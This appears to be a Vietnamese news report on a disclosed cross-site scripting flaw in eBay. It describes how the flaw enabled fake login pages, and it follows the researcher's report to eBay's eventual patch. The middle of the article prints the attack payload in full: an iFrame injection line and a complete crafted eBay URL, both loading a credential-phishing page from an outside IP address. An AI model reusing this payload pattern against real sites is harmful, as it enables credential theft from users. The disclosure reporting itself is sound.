Lỗ hổng trên website eBay cho phép tin tặc đánh cắp mật khẩu

Một nhà nghiên cứu độc lập đã cảnh báo lỗ hổng nghiêm trọng trên website eBay cho phép tin tặc đưa lên một trang đăng nhập giả mạo nhằm đánh cắp mật khẩu và thông tin của hàng triệu người dùng.

Nhà nghiên cứu bảo mật MLT cho biết bất cứ ai cũng có thể khai thác lỗ hổng để tấn công người dùng eBay bằng cách gửi đến một email lừa đảo. Lỗ hổng thực chất nằm trong tham số URL cho phép hacker tiêm nhiễm iFrame độc hại vào website eBay. Đây là một lỗ hổng phổ biến với tên gọi Cross-Site Scripting (XSS).

Trang đăng nhập giả mạo sẽ có đường dẫn rất giống thật, hầu hết người dùng không nhận ra được sự khác biệt. iFrame chứa trang độc hại :

document.write(‘<iframec=”http://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html&#8221; awidth=”1500″ height=”1000″>’) 

Đường dẫn URL đầy đủ:

http://ebay.com/link/?nav=webview&url=javascript:document.write%28%27%3Ciframe%20src=%22http://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html%22%20awidth=%221500%22%20height=%221000%22%3E%27%29

Ảnh chụp màn hình truy cập URL:

Sau khi gõ tên tài khoản và mật khẩu rồi đăng nhập, người dùng sẽ nhận được thông báo lỗi. Nhưng đồng nghĩa với điều đó là thông tin của người dùng đã được chuyển tới hacker.

Video minh họa:

MLT đã báo cáo đến eBay vào 11/12 nhưng công ty đã dừng liên hệ với nhà nghiên cứu này và không đưa ra bản vá.  Tuy nhiên khi giới truyền thông liên hệ với eBay về lỗ hổng, công ty đã nhanh chóng đưa ra bản vá vào thứ hai và công nhận phát hiện của MLT trên trang của mình.

THN